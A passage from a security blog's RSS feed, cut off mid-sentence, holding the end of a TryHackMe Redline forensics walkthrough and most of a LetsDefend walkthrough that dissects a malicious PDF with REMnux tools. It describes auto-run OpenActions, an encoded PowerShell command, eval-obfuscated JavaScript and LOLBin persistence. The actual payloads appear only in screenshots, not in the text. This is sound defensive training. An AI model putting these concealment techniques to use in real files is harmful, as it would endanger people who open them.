&lt;em&gt;Google&lt;/em&gt; reconnaissance to see if we can find any technical reports to provide further intelligence and confirm our findings.&lt;/p&gt;&#xA;&lt;p&gt;Once we do that, we have enough information to answer &lt;strong&gt;Question 7&lt;/strong&gt; and conclude this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;98cec72abab2d3a52e1de9a488d0991e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3200px&#34; data-flex-grow=&#34;1333&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/98cec72abab2d3a52e1de9a488d0991e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;I think we now have enough information now to start the eradication and recovery phase for Charles! Great job!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for hosting another awesome challenge and building out such a huge catalog of free rooms for the community. This room, while brief, was a thorough introduction to the &lt;em&gt;Redline&lt;/em&gt; tool and gives you just enough hands-on time to understand it’s value in the DFIR process when comparing to &lt;em&gt;Volatility&lt;/em&gt; for memory analysis. It never hurts to have some experience with a new tool to keep in your kit, after all!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Redline:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://fireeye.market/apps/211364&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TryHackMe:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/btredlinejoxr3d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/btredlinejoxr3d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Malware Bazaar:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://bazaar.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://bazaar.abuse.ch/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/search?query=Fe1bc60a95b2c2d77cd5d232296a7fa4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/search?query=Fe1bc60a95b2c2d77cd5d232296a7fa4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/b3e1e9d97d74c416c2a30dd11858789af5554cf2de62f577c13944a19623777d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/b3e1e9d97d74c416c2a30dd11858789af5554cf2de62f577c13944a19623777d&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PDF Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/</link>
            <pubDate>Mon, 04 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/03696008794e8aaa57065c3e8dfdd5f1_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PDF Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--pdf-analysis-challenge-walkthrough&#34;&gt;LetsDefend — PDF Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-a-malicious-pdf-document-with-remnux-peepdf&#34;&gt;&lt;strong&gt;Analyzing a Malicious PDF Document with REMnux &amp;amp; Peepdf&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/03696008794e8aaa57065c3e8dfdd5f1_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: LetsDefend.io&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me on this walkthrough! This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PDF Analysis Challenge&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This challenge should be a great opportunity to expand my PDF analysis skills and learn some new tools for my workflow. This time around, I am also checking out and using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; to work through this challenge_._ If you are unfamiliar, &lt;em&gt;REMnux&lt;/em&gt; is a &lt;em&gt;Linux&lt;/em&gt; distro built for malware analysis so we should have some cool tools to check out. As always, this write up will serve as both a learning journal for me and a LetsDefend challenge walkthrough for anyone who stumbles upon this post. Thanks for reading — hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdf-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenarios:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An employee has received a suspicious email:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;From:&lt;/strong&gt; SystemsUpdate@letsdefend.io &lt;strong&gt;To:&lt;/strong&gt; Paul@letsdefend.io &lt;strong&gt;Subject:&lt;/strong&gt; Critical — Annual Systems UPDATE NOW &lt;strong&gt;Body:&lt;/strong&gt; Please do the dutiful before the deadline today. &lt;strong&gt;Attachment:&lt;/strong&gt; Update.pdf &lt;strong&gt;Password:&lt;/strong&gt; letsdefend&#xA;The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;NOTE: Do not open in your local environment. It is a malicious file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://twitter.com/DXploiter&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;@DXploiter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;First, I want to set the stage since this is my first time using &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; I&amp;rsquo;ll be referencing the excellent &lt;em&gt;REMnux&lt;/em&gt; Documentation regularly in this post:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Second, to keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to setup your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly.&lt;/p&gt;&#xA;&lt;p&gt;For reference, I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our environment created, updated, isolated, and snapshotted, we can extract our challenge file archive and get started!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3269px&#34; data-flex-grow=&#34;1362&#34; height=&#34;53&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/8aecbe49decb50d513b738edc0ae8a41_MD5.png&#34; width=&#34;722&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-1-2--3&#34;&gt;Questions 1, 2, &amp;amp; 3 :&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-local-directory-name-would-have-been-targeted-by-themalware&#34;&gt;What local directory name would have been targeted by the malware?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-would-have-been-the-name-of-the-file-created-by-thepayload&#34;&gt;What would have been the name of the file created by the payload?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-file-type-would-this-have-been-if-it-werecreated&#34;&gt;What file type would this have been if it were created?&#xA;&lt;/h4&gt;&lt;p&gt;There are a couple of ways to approach this challenge that I am familiar with already, but since I am using a new environment for analysis, we&amp;rsquo;ll start by checking out the &lt;em&gt;REMnux&lt;/em&gt; documentation and see what PDF specific analysis tools are available. &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/analyze&amp;#43;documents/pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/discover-the-tools/analyze+documents/pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wow! There are quite a few tools we can use but before we dive in, let&amp;rsquo;s pull back a little. I want to point out an awesome reference poster that can help provide some context, the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Analyzing Malicious Documents&lt;/a&gt; cheat sheet. This is an incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start first with the tools that I am familiar with already and covered by the &lt;em&gt;SANS&lt;/em&gt; cheat sheet — &lt;em&gt;pdfid&lt;/em&gt; &amp;amp; &lt;em&gt;pdf-parser&lt;/em&gt;. We can use these tools for basic analysis to get a high-level view of the malicious PDF document.&lt;/p&gt;&#xA;&lt;p&gt;After running &lt;em&gt;pdfid &amp;amp; pdf-parser&lt;/em&gt;, we get some basic information about the malicious PDF. Something interesting to note are the three /&lt;em&gt;OpenActions.&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Open actions&lt;/em&gt;&lt;/a&gt; are triggered when a PDF file is opened and could be abused by a bad actor to execute &lt;em&gt;JavaScript,&lt;/em&gt; open a file/web page, etc. Let&amp;rsquo;s make a note of this finding as we go deeper into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;146&#34; height=&#34;466&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/c91ee1ea849a22a8d0142d326a7dac11_MD5.png&#34; width=&#34;684&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pdfid output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1384px&#34; data-flex-grow=&#34;576&#34; height=&#34;208&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5_hu_b6e72a1908977bdb.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pdf parser output.&lt;/p&gt;&#xA;&lt;p&gt;While helpful, these tools aren&amp;rsquo;t giving us the deep analysis context we are looking for. Let&amp;rsquo;s try &lt;a class=&#34;link&#34; href=&#34;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;peepdf&lt;/em&gt;&lt;/a&gt;, which the &lt;em&gt;REMnux&lt;/em&gt; documentation states can be used to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;examine elements of the PDF file.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the tool&amp;rsquo;s documentation and checking out the usage options, Let&amp;rsquo;s try it out and point it to the malicious PDF. We will use the &lt;em&gt;-f&lt;/em&gt; option to force parsing of the file and ignore any errors that are encountered.&lt;/p&gt;&#xA;&lt;p&gt;peepdf -f /home/remnux/Challenges/pdfAnalysis/Update.pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/7f4938119c042423b2de7d8ff3ab59d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Peepdf output.&lt;/p&gt;&#xA;&lt;p&gt;This gives us a nice overview with a bit more detail than we saw with &lt;em&gt;pdfid,&lt;/em&gt; but we want to go even further. So, next, we&amp;rsquo;ll enter &lt;em&gt;peepdf&amp;rsquo;s&lt;/em&gt; interactive mode with the &lt;em&gt;-i&lt;/em&gt; option_._ Once we enter the interactive mode we&amp;rsquo;ll pull up the help menu and see what commands we have available to move forward.&lt;/p&gt;&#xA;&lt;p&gt;peepdf -i -f /home/remnux/Challenges/pdfAnalysis/Update.pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;608px&#34; data-flex-grow=&#34;253&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/52b693a0780a5f3605829c7b7250b1cd_MD5.png&#34; width=&#34;679&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s first focus on the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;suspicious elements&amp;quot;&#xA;flagged by the tool. Remember the three &lt;em&gt;Open Actions&lt;/em&gt; we noted after running &lt;em&gt;pdfid&lt;/em&gt;? Let&amp;rsquo;s try to analyze these objects more closely. After running &lt;em&gt;peepdf&lt;/em&gt; we see under /&lt;em&gt;OpenAction&lt;/em&gt; that there are three objects: &lt;strong&gt;19&lt;/strong&gt;, &lt;strong&gt;26&lt;/strong&gt;, &amp;amp; &lt;strong&gt;17&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go down the line and use the &lt;em&gt;object&lt;/em&gt; command to show the decoded content — we&amp;rsquo;ll start with object &lt;strong&gt;19&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/79de137cb793f4dcf2a2f66d60101a2c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very interesting! This object contains a Base 64 encoded &lt;em&gt;PowerShell&lt;/em&gt; command. Let&amp;rsquo;s jump into &lt;em&gt;CyberChef&lt;/em&gt; which is also built-in to &lt;em&gt;REMnux.&lt;/em&gt; Maybe we can build a recipe that we can use to decode this script? Since we know the command is Base 64 encoded, let&amp;rsquo;s start there and apply a reverse operation and to get something readable:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/3df23f8d02cd87153763799a29c687b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! We successfully extracted and decoded the malicious &lt;em&gt;PowerShell&lt;/em&gt; command with &lt;em&gt;CyberChef&lt;/em&gt;. With that, we can answer &lt;strong&gt;Questions 1, 2, &amp;amp; 3!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/da7db2151a4a17a6dcb61999ec738639_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/b76d6e5e54f469f6976c5519f578ddd4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/f8276f5fc08d0e6e4d3ef0d124a33c85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-56&#34;&gt;Questions 4, 5, 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;which-external-web-domain-would-the-malware-have-attempted-to-interactwith&#34;&gt;Which external web domain would the malware have attempted to interact with?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-http-method-would-it-have-used-to-interact-with-thisservice&#34;&gt;Which HTTP method would it have used to interact with this service?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-obfuscation-used-for-the-javascript-payload&#34;&gt;What is the name of the obfuscation used for the Javascript payload?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s continue looking at the other /&lt;em&gt;OpenAction&lt;/em&gt; objects and try to understand what they are doing. This time, we&amp;rsquo;ll focus on &lt;strong&gt;17&lt;/strong&gt; — don&amp;rsquo;t worry we will circle back to &lt;strong&gt;26&lt;/strong&gt; later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1067px&#34; data-flex-grow=&#34;444&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/575d3bdd9163f7bd24b067a0f2f77876_MD5.png&#34; width=&#34;476&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks like it is pointing to something else at &lt;strong&gt;33&lt;/strong&gt;, maybe a stream within the object? Fortunately, &lt;em&gt;peepdf&lt;/em&gt; also has a &lt;em&gt;stream&lt;/em&gt; command we can use to show the decoded stream content.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/73ad83b6bbf4ecc89e6e5baac6b5b9b5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running it, we get the above output. This looks like obfuscated &lt;em&gt;JavaScript&lt;/em&gt;, right? We also see some readable strings referring to HTTP requests, specifically POST, and references to JSON. We are probably looking in the right place, since these are methods for transporting data from a client to a server.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on the &lt;code&gt;_eval()_&lt;/code&gt; function_._ Here is some information from &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mozilla&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The &lt;code&gt;eval()&lt;/code&gt; function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That sounds risky — it seems like this is an obfuscated payload where the &lt;code&gt;_eval()_&lt;/code&gt; function reads and then executes the string.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pivot and refer back to the &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/statically&amp;#43;analyze&amp;#43;code/scripts#js-beautifier&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;REMnux documentation&lt;/a&gt; to see if we can find a useful method to analyze scripts. Fortunately, there are a few tools listed, including &lt;strong&gt;JS Beautifier&lt;/strong&gt; which can be used to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Reformat JavaScript scripts for easier analysis.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;While we can use the &lt;a class=&#34;link&#34; href=&#34;https://beautifier.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online version&lt;/a&gt; — let&amp;rsquo;s stay in &lt;em&gt;REMnux&lt;/em&gt; and use the built-in utilities for fun. We&amp;rsquo;ll export the stream into a text file, feed it to JS-Beautify, and see if the tool deobfuscates the code in the output for further analysis&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8000px&#34; data-flex-grow=&#34;3333&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5_hu_ab51d9ce0317107c.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;695px&#34; data-flex-grow=&#34;289&#34; height=&#34;203&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/b7c128bb37e51a2e1a78039bcf70d6f8_MD5.png&#34; width=&#34;588&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! This looks like the information we need to answer &lt;strong&gt;Questions 4, 5, &amp;amp; 6!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;363px&#34; data-flex-grow=&#34;151&#34; height=&#34;528&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/082cb412f4a4e68ba04222a7f1a72273_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8-9-10-11&#34;&gt;Questions 7, 8, 9, 10, &amp;amp; 11:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;which-tool-would-have-been-used-for-creating-the-persistence-mechanism&#34;&gt;Which tool would have been used for creating the persistence mechanism?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;how-often-would-the-persistence-be-executed-once-windows-starts-format-xxhours&#34;&gt;How often would the persistence be executed once Windows starts? (format: X.X hours)?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-lolbin-would-have-been-used-in-the-persistence-method&#34;&gt;Which LOLBin would have been used in the persistence method?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-filename-that-would-have-been-downloaded-and-executed-using-thelolbin&#34;&gt;What is the filename that would have been downloaded and executed using the LOLbin?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;where-would-this-have-been-downloaded-from-format-ipaddress&#34;&gt;Where would this have been downloaded from? (format: IP address)&#xA;&lt;/h4&gt;&lt;p&gt;So let&amp;rsquo;s recap quickly. We have been doing deep dives into the /&lt;em&gt;OpenAction&lt;/em&gt; we uncovered with &lt;em&gt;peepdf&lt;/em&gt; and have already analyzed objects &lt;strong&gt;17&lt;/strong&gt; &amp;amp; &lt;strong&gt;19&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s return to our interactive &lt;em&gt;peepdf&lt;/em&gt; console and check out the last of the 